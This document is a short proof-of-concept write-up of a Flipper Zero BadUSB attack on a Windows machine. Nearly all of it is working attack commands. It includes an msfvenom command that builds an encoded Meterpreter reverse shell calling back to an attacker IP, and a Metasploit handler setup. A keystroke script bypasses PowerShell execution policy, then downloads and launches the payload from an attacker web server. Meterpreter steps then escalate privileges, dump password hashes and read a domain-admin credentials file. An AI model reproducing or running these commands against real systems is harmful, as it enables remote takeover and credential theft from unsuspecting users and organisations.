_____     _    ____      _
|  ___|_ _| |_ / ___|__ _| |_
| |_ / _` | __| |   / _` | __|
|  _| (_| | |_| |__| (_| | |_
|_|  \__,_|\__|\____\__,_|\__|
Attack PoC

The objective is to extract relevant SAM data from the registry. For this purpose, the flipper is used as a BadUSB device. The PowerShell Execution Policy is to be bypassed and the required rights are to be secured with a privilege escalation. The following data is to be exfiltrated:

1. Deactivate AV
2. Create payload
3. Start handler
4. BadUSB attack
5. Use RemoteShell to explore
6. Search for exploit
7. Apply exploit
8. Collect credentials

• Start Metasploit
• Open cmd

cmd

• Generate payload

msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.2.77 LPORT=50666 -e x86/shikata_ga_nai -i 5 -f exe > msfpayload.exe

• Exit shell

exit

• Store payload on a web server

Generate payload

• Start Multi Handler Server

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.2.77
set LPORT 50666
exploit

Configure and start Metasploit Handler

• With the pinball machine, the following script is executed on the target system

WINDOWS r
DELAY 2000
STRING powershell.exe
DELAY 3000
ENTER
DELAY 5000
STRING Set-ExecutionPolicy Bypass -Scope Process -force
DELAY 3000
ENTER
DELAY 3000
STRING irm https://<DEIN-COOLER-WEBSERVER>/msfpayload.exe -OutFile msfpayload.exe
DELAY 3000
ENTER
DELAY 5000
STRING Start-Process msfpayload.exe
DELAY 3000
ENTER
DELAY 3000
STRING exit
DELAY 1500
ENTER

Flipper attack is executed

getsystem
hashdump
ls
getwd
cd c:
cd Glob_Share
ls
background
use post/multi/recon/local_exploit_suggester
sessions
set session 1
run
use exploit/windows/local/always_install_elevated
set session 1
exploit
cd glob_share
type Domain-Admin-Creds.txt
hashdump
sessions -i 1

Meterpreter Session produced

Automated Exploit Search for Privilege Escalation

Privilege Escalation successful

Here are our searched credentials